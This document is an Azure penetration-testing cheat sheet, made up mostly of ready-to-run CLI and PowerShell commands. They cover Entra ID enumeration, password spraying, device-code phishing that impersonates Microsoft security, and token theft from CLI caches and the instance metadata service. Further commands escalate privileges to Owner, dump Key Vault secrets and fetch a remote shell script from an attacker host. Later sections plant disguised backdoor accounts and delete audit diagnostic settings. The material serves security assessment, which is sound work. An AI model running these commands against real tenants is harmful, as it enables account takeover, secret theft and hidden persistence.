Legend:
[ENTRA]= Entra ID (formerly Azure AD) |[RBAC]= Role-Based Access Control |[MI]= Managed Identity |[KV]= Key Vault |[SP]= Service Principal |[BLOB]= Azure Blob Storage |[VM]= Virtual Machine |[PRIVESC]= Privilege Escalation |[ENUM]= Enumeration |[LATERAL]= Lateral Movement |[PERSIST]= Persistence |[TOKEN]= Access Token |[IMDS]= Instance Metadata Service
1. Fundamentals & Azure Structure
What it means: Azure pentesting targets misconfigurations across Microsoft's cloud services — Entra ID (identity), RBAC (access control), and resource-level settings. Unlike AWS, Azure has a deeply intertwined identity layer connecting cloud resources and on-premises Active Directory. [web:287]
1.1 Azure Hierarchy
┌──────────────────────────────────────────────────────────────────────────────┐
│ AZURE RESOURCE HIERARCHY │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Management Group (top-level policy container) │
│ └─ Subscription (billing + resource boundary) │
│ └─ Resource Group (logical grouping of resources) │
│ └─ Resources (VMs, Storage, KeyVaults, Apps...) │
│ │
│ │
│ IDENTITY LAYER (Entra ID / Azure AD): │
│ │
│ ├─ Tenant : Entra ID directory (per organization) │
│ ├─ Users : human identities │
│ ├─ Groups : collections of users │
│ ├─ App Registrations : OAuth apps + service principals │
│ ├─ Service Principals : non-human application identities │
│ ├─ Managed Identities : Azure-managed credentials for resources │
│ └─ Guest Users : external B2B identities │
│ │
│ │
│ RBAC ROLES (critical): │
│ │
│ ├─ Owner : full control + manage access │
│ ├─ Contributor : full control, cannot manage access │
│ ├─ Reader : read-only │
│ ├─ User Access Admin : can assign roles (high risk) │
│ └─ Custom Roles : organization-defined permissions │
│ │
│ │
│ Golden Rule: │
│ │
│ Entra ID is the PRIMARY identity boundary in Azure │
│ Contributor → Managed Identity → Owner (common escalation path) │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
1.2 Azure Attack Surface Overview
┌──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┐
│ IDENTITY │ COMPUTE │ STORAGE │ INTEGRATION │
├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤
│ Entra ID Users │ Virtual Machines │ Blob Storage │ Key Vault │
│ Service Principals │ App Service │ File Shares │ Logic Apps │
│ Managed Identities │ Function Apps │ Table Storage │ API Management │
│ App Registrations │ AKS (Kubernetes) │ Queue Storage │ Service Bus │
│ Conditional Access │ Container Apps │ Azure SQL │ Event Hub │
│ PIM │ Azure Batch │ Cosmos DB │ Automation │
└──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┘
1.3 Azure CLI & PowerShell Setup
# ─── Azure CLI setup ───
pip install azure-cli
az login # browser auth
az login --use-device-code # device code flow
az login --service-principal \
-u APP_ID -p PASSWORD \
--tenant TENANT_ID # service principal login
# Stolen access token login:
az account get-access-token
az login --tenant TENANT_ID # then set token manually
# ─── Key CLI commands ───
az account list # list subscriptions
az account set --subscription SUB_ID
az account show # current context
az ad signed-in-user show # who am I?
# ─── Azure PowerShell setup ───
Install-Module -Name Az -Force
Install-Module -Name AzureAD -Force
Install-Module -Name AADInternals -Force # powerful recon!
Connect-AzAccount # interactive login
Connect-AzAccount -AccessToken TOKEN -AccountId UPN
Connect-AzureAD
Get-AzContext # current identity
Get-AzSubscription # available subscriptions
# ─── ROADtools (token-based access) ───
pip3 install roadtools
roadrecon auth -u user@tenant.com -p Password
roadrecon gather # enumerate everything!
roadrecon gui # beautiful web GUI!
2. Reconnaissance & External Recon
2.1 Tenant & Domain Discovery
# ─── Check if org uses Azure AD/Entra ID ───
# Home Realm Discovery (HRD):
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
# NameSpaceType: "Managed" → uses Entra ID (cloud-only)
# NameSpaceType: "Federated" → uses ADFS/hybrid (on-prem AD!)
# NameSpaceType: "Unknown" → not on Azure
# ─── Get Tenant ID from domain ───
curl "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" \
| python3 -m json.tool | grep tenant
# Returns: tenant_id in the URLs!
# OR via AADInternals:
Import-Module AADInternals
Get-AADIntTenantID -Domain "target.com"
Get-AADIntTenantDomains -Domain "target.com" # all domains in tenant!
# ─── O365/Azure service discovery ───
# Check which M365 services are active:
curl "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
-d "<AutodiscoverRequest xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'><Request><EMailAddress>test@target.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></AutodiscoverRequest>"
# ─── AADInternals full recon (no auth!) ───
Invoke-AADIntReconAsOutsider -Domain "target.com" | Format-Table
# Shows: Tenant ID, Auth type, M365 services, Hybrid status!
2.2 Azure Service Fingerprinting
# ─── Azure-specific domains to enumerate ───
# App Services: target.azurewebsites.net
# Function Apps: target.azurewebsites.net
# Storage: target.blob.core.windows.net
# target.file.core.windows.net
# target.table.core.windows.net
# target.queue.core.windows.net
# Azure SQL: target.database.windows.net
# Redis: target.redis.cache.windows.net
# Traffic Manager: target.trafficmanager.net
# Service Bus: target.servicebus.windows.net
# Key Vault: target.vault.azure.net
# CDN: target.azureedge.net
# AKS: target.hcp.region.azmk8s.io
# ─── DNS enumeration for Azure assets ───
# Sublist3r:
python3 sublist3r.py -d target.com -b -t 100
# Certificate transparency:
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u | grep azure
# ─── MicroBurst: Azure-specific enum (no auth) ───
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "target" -Verbose
# Tries: target.blob.core.windows.net, target.vault.azure.net, etc.
# Finds exposed storage accounts, KeyVaults, App Services!
# ─── Blob storage discovery ───
Invoke-EnumerateAzureBlobs -Base "target"
# Tries common names + permutations → finds public blobs!
2.3 GitHub & Code Recon
# ─── Find Azure credentials in code ───
# TruffleHog:
trufflehog github --org=TARGET_ORG
# Patterns to search for:
# "AZURE_CLIENT_SECRET"
# "AZURE_CLIENT_ID"
# "AZURE_TENANT_ID"
# ".publishsettings" files (contain mgmt certs!)
# "DefaultEndpointsProtocol=https;AccountName=" (storage connection strings!)
# "AccountKey=" (storage account key in connection string)
# gitleaks:
gitleaks detect --source . -v
# ─── Azure storage connection string (common leak) ───
# DefaultEndpointsProtocol=https;AccountName=TARGET;AccountKey=BASE64KEY==;EndpointSuffix=core.windows.net
# AccountKey = full access to storage account!
az storage blob list \
--account-name TARGET \
--account-key BASE64KEY== \
--container-name container-name
3. Entra ID (Azure AD) Enumeration
What it means: Entra ID (formerly Azure AD) is the identity platform for Azure. Any authenticated user — even a guest — can enumerate users, groups, applications, and service principals by default, making this a rich reconnaissance target. [web:296]
3.1 User Enumeration (No Auth)
# ─── Enumerate valid usernames (unauthenticated) ───
# Method 1: Login endpoint timing attack
# Valid username → "Enter password" / password prompt
# Invalid username → "That account doesn't exist"
# Tool: o365creeper
python3 o365creeper.py -f emails.txt -o valid_users.txt
# Tool: TeamFiltration
./TeamFiltration --outpath ./output \
--enumerate --domain target.com \
--userlist emails.txt
# Method 2: Microsoft Graph API response differences:
curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
-X POST \
-H "Content-Type: application/json" \
-d '{"Username":"admin@target.com"}'
# "IfExistsResult": 0 → user EXISTS
# "IfExistsResult": 1 → user DOES NOT EXIST
# → Enumerate entire email list!
# ─── Bulk username enumeration ───
for email in $(cat emails.txt); do
result=$(curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
-X POST -H "Content-Type: application/json" \
-d "{\"Username\":\"$email\"}" | python3 -m json.tool | grep IfExistsResult)
echo "$email: $result"
done
3.2 Authenticated Enumeration (Azure CLI)
# ─── Entra ID user enumeration ───
az ad user list --output table
az ad user list --query "[].{UPN:userPrincipalName,DisplayName:displayName,Enabled:accountEnabled}"
az ad user show --id target_user@tenant.com
# ─── Group enumeration ───
az ad group list --output table
az ad group member list --group "Global Admins"
az ad group member list --group "Privileged Role Administrators"
# ─── Service principal enumeration ───
az ad sp list --all --output table
az ad sp list --all --query "[].{DisplayName:displayName,AppId:appId,SPType:servicePrincipalType}"
# ─── App registration enumeration ───
az ad app list --all
az ad app list --all --query "[].{DisplayName:displayName,AppId:appId,ReplyURLs:replyUrls}"
# Look for: wide redirect URIs, OAuth misconfigs!
# ─── Role assignments (who has what?) ───
az role assignment list --all --output table
az role assignment list --all --query "[].{Principal:principalName,Role:roleDefinitionName,Scope:scope}"
# → Shows every RBAC assignment in the subscription!
# ─── Subscription & resource enum ───
az account list
az group list --output table
az resource list --output table
az vm list --output table
az storage account list --output table
az keyvault list --output table
az functionapp list --output table
az webapp list --output table
az aks list --output table
3.3 PowerShell-Based Enumeration
# ─── AzureAD module (Graph API) ───
Connect-AzureAD
# Users:
Get-AzureADUser -All $true | Select UserPrincipalName, AccountEnabled, JobTitle
Get-AzureADUser -All $true | Where-Object {$_.AccountEnabled -eq $true}
# Groups:
Get-AzureADGroup -All $true
Get-AzureADGroupMember -ObjectId GROUP_OBJECT_ID
# Admin roles:
Get-AzureADDirectoryRole | ForEach-Object {
$role = $_
$members = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
if ($members) {
[PSCustomObject]@{
Role = $role.DisplayName
Members = ($members.UserPrincipalName -join ", ")
}
}
} | Format-Table -AutoSize
# → Lists EVERY admin role and who's in it!
# Service Principals:
Get-AzureADServicePrincipal -All $true | Select DisplayName, AppId, ServicePrincipalType
# App Registrations:
Get-AzureADApplication -All $true | Select DisplayName, AppId, ReplyUrls
# ─── Az module (Resource layer) ───
Connect-AzAccount
Get-AzResource # all resources
Get-AzVM # all VMs
Get-AzStorageAccount # storage accounts
Get-AzKeyVault # key vaults
Get-AzRoleAssignment # RBAC assignments
Get-AzFunctionApp # function apps
Get-AzWebApp | Where-Object {$_.Kind -notmatch "functionapp"}
3.4 ROADtools — Deep Entra ID Recon
# ─── ROADtools: best Entra ID enumeration tool ───
# https://github.com/dirkjanm/ROADtools
# Auth (various methods):
roadrecon auth -u user@tenant.com -p Password
roadrecon auth --device-code # device code flow
roadrecon auth -t TENANT_ID \ # with access token
--access-token TOKEN
# Gather ALL data from Graph API:
roadrecon gather
# Pulls: users, groups, apps, SPs, roles, policies, CA rules, etc.
# Stores in: roadrecon.db (SQLite)
# Launch web GUI:
roadrecon gui
# → Beautiful searchable interface at http://localhost:5000
# → Browse: users, groups, conditional access, app permissions!
# ─── Key recon targets in ROADtools ───
# 1. Applications with high permissions (Graph API scopes)
# 2. Service Principals with Owner/Contributor roles
# 3. Users NOT in MFA / conditional access
# 4. Guest users with elevated roles
# 5. Stale app registrations with unused secrets
4. Authentication Attacks
4.1 Password Spraying
# ─── Password spraying (avoid lockout) ───
# Azure default: locks after 10 failed attempts per 10 minutes
# Strategy: 1 password attempt per user per 30 minutes!
# Tool: MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt \
-Password "Spring2026!" \
-OutFile valid_creds.txt
# Tool: TeamFiltration
./TeamFiltration --outpath ./output \
--spray \
--domain target.com \
--userlist users.txt \
--passwords passwords.txt
# Tool: SprayingToolkit / o365spray
python3 o365spray.py --spray \
-U users.txt \
-P passwords.txt \
--domain target.com \
--count 1 \ # 1 password at a time
--lockout 30 # wait 30 min between rounds
# ─── Common Azure passwords to try ───
Season+Year! → Spring2026!, Winter2025!
CompanyName+123 → Target123!, Target@2026
Welcome1! → most common default
P@ssw0rd!
Month+Year! → April2026!
4.2 Token Theft & Abuse
# ─── Steal tokens from Azure CLI cache ───
# Azure CLI stores tokens at:
cat ~/.azure/msal_token_cache.json # Linux
# C:\Users\USER\.azure\msal_token_cache.json # Windows
# ─── Steal tokens from browser ───
# Chrome/Edge cache tokens in: Cookie storage
# Or memory: process dump + token extraction
# ─── TokenTactics: token manipulation ───
# https://github.com/f-Secure-Foundry/TokenTactics
Import-Module TokenTactics.ps1
# Get token for specific resource:
Get-AzureToken -Client MSGraph
# Refresh token to access different resources:
Invoke-RefreshToAzureCoreManagementToken -refreshToken $TOKEN
Invoke-RefreshToMSGraphToken -refreshToken $TOKEN
Invoke-RefreshToSharePointToken -refreshToken $TOKEN -Domain target.com
# ─── Device code phishing (MFA bypass!) ───
# Generate device code:
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default"
# Returns: user_code (e.g., "ABCD-1234") + verification URL
# Phish: send user the verification URL + code
# User authenticates → YOU get the access token!
# No credentials needed — bypasses MFA!
# Tool: TokenTactics or AADInternals:
Get-AADIntAccessTokenForMSGraph -SaveToCache
Invoke-AADIntPhishing -Recipients "victim@target.com" \
-Subject "Password Reset Required" \
-Message "Please verify at: {URL}" \
-CloneFrom "security@microsoft.com"
4.3 Conditional Access Bypass
# ─── Common CA policy weaknesses ───
# 1. Legacy auth protocols (bypass MFA!):
# If legacy auth allowed → use IMAP, SMTP, POP3 with basic auth
# → MFA not enforced on legacy protocols!
curl --user "user@target.com:Password123" \
"https://outlook.office365.com/mapi/emsmdb/?MailboxId=target@tenant.com"
# 2. Trusted location bypass:
# If CA allows "trusted locations" → check if any IP range is too wide
# Test from various IPs/VPNs
# 3. Compliant device claim:
# If CA requires compliant device → check if claim can be spoofed
# Some CA policies don't check device properly!
# 4. Named location enumeration:
az ad conditional-access named-location list
# → Reveals trusted IP ranges → pivot to access from those IPs!
# ─── AADInternals: bypass MFA via BPRT ───
# Bulk Primary Refresh Token abuse:
$BPRT = Get-AADIntAccessToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2"
5. Azure RBAC & Privilege Escalation
What it means: Azure RBAC controls access to resources. Many escalation paths exist when principals have roles like Contributor (which can deploy resources), User Access Administrator (can assign roles), or Owner. [web:294]
5.1 RBAC Role Assessment
# ─── Enumerate role assignments ───
az role assignment list --all | \
jq '.[] | {principal:.principalName, role:.roleDefinitionName, scope:.scope}'
# ─── Find your own roles ───
az role assignment list --assignee $(az account show --query user.name -o tsv)
# ─── List custom role definitions ───
az role definition list --custom-role-only true --output table
# ─── Check for dangerous role combos ───
# These are high-value RBAC privileges:
# Owner → everything + role assignment
# Contributor → everything EXCEPT role assignment
# User Access Admin → ONLY role assignment (privesc vector!)
# Key Vault Admin → full KeyVault control
# Virtual Machine Contributor → VM control → IMDS abuse!
# ─── PowerShell role check ───
Get-AzRoleAssignment -SignInName user@tenant.com | \
Select-Object DisplayName, RoleDefinitionName, Scope
5.2 Privilege Escalation — Contributor → Owner
# ─── Contributor + Microsoft.Authorization/* → Owner ───
# Contributor role CANNOT assign roles...
# BUT: some custom policies grant Microsoft.Authorization/* wildcard!
# Check if your role has Authorization write:
az role definition list --name "CustomRole" \
--query '[].permissions[].actions'
# If "Microsoft.Authorization/*" → you CAN assign roles!
# Assign yourself Owner:
az role assignment create \
--assignee YOUR_OBJECT_ID \
--role "Owner" \
--scope "/subscriptions/SUB_ID"
5.3 Privilege Escalation — User Access Administrator
# ─── User Access Administrator privesc ───
# This role ONLY manages role assignments
# → Assign yourself Owner!
az role assignment create \
--assignee YOUR_UPN \
--role "Owner" \
--scope "/subscriptions/SUB_ID"
# Instant Owner on entire subscription!
# ─── Or assign to a controlled group ───
az role assignment create \
--assignee GROUP_OBJECT_ID \
--role "Owner" \
--scope "/subscriptions/SUB_ID"
5.4 Privilege Escalation — ARM Templates / Runbooks
# ─── Contributor privesc via ARM template ───
# Contributor can deploy resources including Automation Accounts
# Automation Runbooks run as "Run As" accounts with contributor!
# Step 1: Create Automation Account:
az automation account create \
--automation-account-name backdoor \
--resource-group TARGET_RG \
--location eastus
# Step 2: Create runbook that assigns you Owner:
cat > privesc_runbook.ps1 << 'EOF'
$connection = Get-AutomationConnection -Name AzureRunAsConnection
Connect-AzAccount -ServicePrincipal \
-Tenant $connection.TenantID \
-ApplicationId $connection.ApplicationID \
-CertificateThumbprint $connection.CertificateThumbprint
New-AzRoleAssignment -SignInName attacker@attacker.com -RoleDefinitionName Owner -Scope "/subscriptions/SUB_ID"
EOF
# Step 3: Import + run runbook:
az automation runbook create \
--automation-account-name backdoor \
--resource-group TARGET_RG \
--name privesc --type PowerShell
az automation runbook publish \
--automation-account-name backdoor \
--resource-group TARGET_RG \
--name privesc
az automation runbook start \
--automation-account-name backdoor \
--resource-group TARGET_RG \
--name privesc
5.5 AzureHound — BloodHound for Azure
# ─── AzureHound: maps Azure attack paths ───
# https://github.com/BloodHoundAD/AzureHound
# Collect data:
./azurehound -u user@tenant.com -p Password list \
--tenant TENANT_ID \
-o output.json
# OR with access token:
./azurehound -j ACCESS_TOKEN list \
--tenant TENANT_ID \
-o output.json
# Import into BloodHound:
# Upload output.json to BloodHound UI
# → Visualize: who can reach Global Admin and HOW!
# ─── Key BloodHound queries for Azure ───
# "Find All Paths to Global Admin"
# "Find Principals with Role Assignments"
# "Find Service Principals with Dangerous Permissions"
# "Find Users Who Can Reset Passwords"
6. Managed Identity Abuse
What it means: Managed Identities are Azure-managed credentials assigned to resources (VMs, Function Apps, etc.). If you compromise a resource with an overprivileged Managed Identity, you can steal its access token via IMDS and act as that identity — often reaching Contributor or Owner level. [web:291]
6.1 Stealing Managed Identity Tokens
# ─── From inside a VM/Container/Function App ───
# Azure IMDS endpoint: http://169.254.169.254 (same as AWS!)
# Get Managed Identity access token:
curl -s "http://169.254.169.254/metadata/identity/oauth2/token" \
-H "Metadata: true" \
-d "api-version=2018-02-01&resource=https://management.azure.com/"
# Returns: access_token, expires_in, token_type
# ─── Target different resources with the token ───
# Azure Resource Manager (management plane):
resource=https://management.azure.com/
# Microsoft Graph (Entra ID operations):
resource=https://graph.microsoft.com/
# Azure Key Vault:
resource=https://vault.azure.net/
# Azure Storage:
resource=https://storage.azure.com/
# Office 365 (if MI has Graph perms):
resource=https://outlook.office365.com/
# ─── IMDSv1 equivalent (Azure) — one liner ───
TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# Use token to call Azure API:
curl -s "https://management.azure.com/subscriptions?api-version=2020-01-01" \
-H "Authorization: Bearer $TOKEN" | python3 -m json.tool
6.2 SSRF → IMDS Token Theft
# ─── SSRF to steal Managed Identity token ───
# If web app on Azure VM/App Service has SSRF:
# Step 1: Test SSRF to IMDS:
GET /fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Must include Metadata: true header → some SSRF tools handle this!
# Step 2: Steal token:
GET /fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/
# Header: Metadata: true
# Returns: access_token for the Managed Identity!
# ─── Use stolen token ───
export TOKEN="eyJ0..."
# List subscriptions:
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2022-12-01"
# List Key Vaults:
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01&\$filter=resourceType eq 'Microsoft.KeyVault/vaults'"
# Get Key Vault secrets (if token has vault.azure.net scope):
KV_TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
-H "Metadata: true" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
curl -H "Authorization: Bearer $KV_TOKEN" \
"https://TARGET-KV.vault.azure.net/secrets?api-version=7.3"
6.3 VM Managed Identity Privesc
# ─── Privesc via VM with privileged Managed Identity ───
# Source: Praetorian research[1]
# Method 1: RunCommand on VM with admin MI
az vm run-command invoke \
--resource-group TARGET_RG \
--name TARGET_VM \
--command-id RunShellScript \
--scripts "curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true'"
# → Gets MI token with admin permissions!
# Method 2: Attach User-Assigned MI to VM you control:
# If you have: Microsoft.Compute/virtualMachines/write
# AND Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
az vm identity assign \
--resource-group TARGET_RG \
--name TARGET_VM \
--identities PRIVILEGED_MANAGED_IDENTITY_RESOURCE_ID
# → VM now has the privileged MI!
# → SSH in → steal token → instant privesc!
7. Storage Account Attacks
7.1 Blob Storage Enumeration
# ─── Public blob enumeration (no auth) ───
# Check for public access:
curl -s "https://TARGET.blob.core.windows.net/container-name?restype=container&comp=list"
# XML response = public container (list access)!
# ─── Enumerate containers ───
# With storage account key:
az storage container list \
--account-name TARGET \
--account-key STORAGE_KEY \
--output table
# With connection string:
$conn = "DefaultEndpointsProtocol=https;AccountName=TARGET;AccountKey=KEY==;EndpointSuffix=core.windows.net"
az storage container list --connection-string $conn
# ─── Download all blobs ───
az storage blob download-batch \
--destination /tmp/loot/ \
--source container-name \
--account-name TARGET \
--account-key STORAGE_KEY
# ─── Public blob access check via MicroBurst ───
Invoke-EnumerateAzureBlobs -Base "target" -OutputFile blobs.txt
# Tries: targetbackup, target-backup, target_backup, etc.!
7.2 SAS Token Abuse
# ─── SAS (Shared Access Signature) token abuse ───
# SAS tokens are URL parameters that grant access to storage!
# Format: ?sv=2020-08-04&ss=b&srt=sco&sp=rwdlacupitfx&se=2026-12-31...
# If you find a SAS URL → it's as good as credentials!
# Check for:
# sp= parameter → permissions (r=read, w=write, d=delete, l=list)
# se= parameter → expiry date (may be very long-lived!)
# srt= → service/container/object scope
# Use SAS URL directly:
az storage blob list \
--account-name TARGET \
--container-name data \
--sas-token "sv=2020-08-04&ss=b&sp=rl&..."
# Download with SAS URL:
curl "https://TARGET.blob.core.windows.net/container/file.txt?sv=...SAS..."
# ─── Generate SAS token (if you have Storage Account Contributor) ───
az storage account generate-sas \
--account-name TARGET \
--account-key KEY \
--expiry 2026-12-31 \
--permissions rwdlacupitfx \
--resource-types sco \
--services bfqt
8. Key Vault Attacks
What it means: Azure Key Vault stores secrets, certificates, and cryptographic keys. A compromised identity with Key Vault access can dump ALL secrets — database passwords, API keys, certificates — making this the highest-value target in most Azure assessments. [web:287]
8.1 Key Vault Enumeration
# ─── List accessible Key Vaults ───
az keyvault list --output table
# ─── List secrets in a vault ───
az keyvault secret list --vault-name TARGET-KV --output table
# ─── Read secret value ───
az keyvault secret show \
--vault-name TARGET-KV \
--name db-password \
--query value \
--output tsv
# Returns: actual plaintext secret!
# ─── Dump ALL secrets from a vault ───
for secret in $(az keyvault secret list --vault-name TARGET-KV \
--query "[].name" -o tsv); do
echo -n "$secret: "
az keyvault secret show \
--vault-name TARGET-KV \
--name $secret \
--query value -o tsv
done
# ─── List certificates ───
az keyvault certificate list --vault-name TARGET-KV
az keyvault certificate download \
--vault-name TARGET-KV \
--name TARGET_CERT \
--file cert.pem
# ─── List keys ───
az keyvault key list --vault-name TARGET-KV
8.2 Key Vault Access Policy Abuse
# ─── Enumerate access policies ───
az keyvault show --name TARGET-KV \
--query "properties.accessPolicies"
# Shows: who has what permissions (get, list, set, delete, etc.)
# ─── If you have Contributor + access policy write ───
# Grant yourself access to secrets:
az keyvault set-policy \
--name TARGET-KV \
--upn attacker@tenant.com \
--secret-permissions get list backup restore recover purge
# ─── Via Managed Identity ───
# If your VM/function has Key Vault permissions:
# Get token for vault.azure.net
KV_TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
-H "Metadata: true" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# List secrets:
curl -H "Authorization: Bearer $KV_TOKEN" \
"https://TARGET-KV.vault.azure.net/secrets?api-version=7.3"
# Get specific secret:
curl -H "Authorization: Bearer $KV_TOKEN" \
"https://TARGET-KV.vault.azure.net/secrets/db-password?api-version=7.3"
9. Azure VM Exploitation
9.1 VM Enumeration
# ─── List all VMs ───
az vm list --output table
az vm list -d --output table # include public IPs!
# ─── Get VM details ───
az vm show --resource-group TARGET_RG --name TARGET_VM
# ─── Check VM identity ───
az vm show --resource-group TARGET_RG --name TARGET_VM \
--query "identity"
# Shows: systemAssignedIdentity + userAssignedIdentities
# ─── Check open ports (NSG rules) ───
az network nsg rule list \
--resource-group TARGET_RG \
--nsg-name TARGET_NSG \
--output table
# Look for: 22, 3389, 5985 (WinRM) open to 0.0.0.0/0!
# ─── Get VM public IP ───
az vm list-ip-addresses --output table
9.2 VM Command Execution
# ─── Run command on VM (requires VM Contributor) ───
# Linux VM:
az vm run-command invoke \
--resource-group TARGET_RG \
--name TARGET_VM \
--command-id RunShellScript \
--scripts "id; cat /etc/passwd; curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01\&resource=https://management.azure.com/ -H 'Metadata:true'"
# Windows VM:
az vm run-command invoke \
--resource-group TARGET_RG \
--name TARGET_VM \
--command-id RunPowerShellScript \
--scripts "whoami; ipconfig; \$token=Invoke-RestMethod -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Headers @{Metadata='true'}; \$token.access_token"
# ─── Custom script extension (stealth alternative) ───
az vm extension set \
--resource-group TARGET_RG \
--vm-name TARGET_VM \
--name customScript \
--publisher Microsoft.Azure.Extensions \
--settings '{"commandToExecute": "bash -c \"curl http://attacker.com/shell.sh | bash\""}'
10. App Service & Function App Attacks
10.1 App Service Enumeration
# ─── List App Services ───
az webapp list --output table
az webapp list --query "[].{Name:name,URL:defaultHostName,State:state,HTTPS:httpsOnly}"
# ─── Get environment variables / app settings ───
az webapp config appsettings list \
--name TARGET_APP \
--resource-group TARGET_RG
# → Often contains: DB connection strings, API keys, passwords!
# ─── Get connection strings ───
az webapp config connection-string list \
--name TARGET_APP \
--resource-group TARGET_RG
# → Database connection strings with credentials!
# ─── Check if remote debugging is enabled ───
az webapp config show \
--name TARGET_APP \
--resource-group TARGET_RG \
--query "remoteDebuggingEnabled"
# true = debug port open → code execution!
# ─── SCM / Kudu console ───
# Every App Service has: https://TARGET.scm.azurewebsites.net
# Kudu = deployment + debug console
# If auth bypassed or you have credentials → shell access!
curl -u user:password "https://TARGET.scm.azurewebsites.net/api/command" \
-X POST \
-H "Content-Type: application/json" \
-d '{"command":"id","dir":"/"}'
10.2 Function App Exploitation
# ─── List Function Apps ───
az functionapp list --output table
# ─── Get function app settings (secrets!) ───
az functionapp config appsettings list \
--name TARGET_FUNC \
--resource-group TARGET_RG
# ─── Get function keys (bypass auth on HTTP triggers!) ───
az functionapp function keys list \
--function-name FUNCTION_NAME \
--name TARGET_FUNC \
--resource-group TARGET_RG
# Returns: default key → call function without auth!
# ─── Get host keys (master key!) ───
az functionapp keys list \
--name TARGET_FUNC \
--resource-group TARGET_RG
# masterKey → can call ANY function + admin API!
# ─── Update function code (privesc) ───
# If you have Website Contributor:
az functionapp deployment source config-zip \
--resource-group TARGET_RG \
--name TARGET_FUNC \
--src malicious.zip
# Your code runs with Function App's Managed Identity!
11. Lateral Movement & Persistence
11.1 Cross-Tenant & Cross-Subscription Movement
# ─── Enumerate accessible subscriptions ───
az account list --output table
# Multiple subscriptions = multiple attack surfaces!
# ─── Switch subscription context ───
az account set --subscription TARGET_SUB_ID
# ─── Cross-tenant access ───
# If service principal has multi-tenant permissions:
az login --service-principal \
-u APP_ID \
-p SECRET \
--tenant TARGET_TENANT_ID
11.2 Persistence Techniques
# ─── Create backdoor service principal ───
az ad sp create-for-rbac \
--name "AzureBackupService" \
--role "Owner" \
--scopes "/subscriptions/SUB_ID"
# Returns: appId + password → backdoor SP with Owner role!
# ─── Add credentials to existing SP ───
az ad app credential reset \
--id TARGET_APP_ID \
--append
# Adds new secret to existing app → backdoor access!
# ─── Add secret to existing App Registration ───
az ad app credential reset --id TARGET_APP_ID
# ─── Backdoor via Automation Account Runbook ───
# Create scheduled runbook that periodically re-adds your role!
az automation schedule create \
--automation-account-name TARGET_AA \
--resource-group TARGET_RG \
--name hourly-persist \
--frequency Hour \
--interval 1
# ─── Create backdoor user ───
az ad user create \
--display-name "Backup Admin" \
--user-principal-name backup-admin@tenant.com \
--password "P@ssw0rd123!" \
--force-change-password-next-login false
# Assign Global Admin (if you have permission):
ROLE_ID=$(az role definition list --name "Global Administrator" --query "[].id" -o tsv)
az role assignment create \
--assignee backup-admin@tenant.com \
--role $ROLE_ID
11.3 Covering Tracks
# ─── Azure Monitor / Diagnostic Settings ───
# Delete diagnostic settings (audit logs):
az monitor diagnostic-settings delete \
--name TARGET_DIAG_SETTING \
--resource /subscriptions/SUB_ID
# ─── Check & manipulate activity logs ───
az monitor activity-log list \
--start-time 2026-04-08T00:00:00Z \
--end-time 2026-04-09T00:00:00Z \
--max-events 100
# → See what's been logged!
# Note: Azure audit logs are IMMUTABLE for 90 days
# → Cannot delete → minimize footprint instead!
# ─── Minimize footprint strategy ───
# 1. Use existing identities (don't create new ones)
# 2. Use MI tokens instead of credentials (less logged)
# 3. Delete created resources after testing
# 4. Use native Azure tools (less suspicious than custom binaries)
12. Tools Reference
12.1 Complete Azure Pentesting Toolkit
Tool Language Purpose
──────────────────────────────────────────────────────────────────────
ROADtools Python Entra ID deep enumeration + GUI
AADInternals PowerShell Tenant recon, token abuse, phishing
AzureHound Go BloodHound data collection for Azure
BloodHound CE TypeScript Attack path visualization
PowerZure PowerShell Azure post-exploitation framework
MicroBurst PowerShell Azure storage + recon toolkit
ScoutSuite Python Multi-cloud security audit
Prowler Python CIS/compliance checks for Azure
Stormspotter Python Azure resource graph visualization
Azucar PowerShell Azure security audit
TokenTactics PowerShell Token theft and manipulation
TeamFiltration .NET O365 enum, spray, phishing
o365spray Python O365 password spraying
GraphRunner PowerShell Microsoft Graph API exploitation
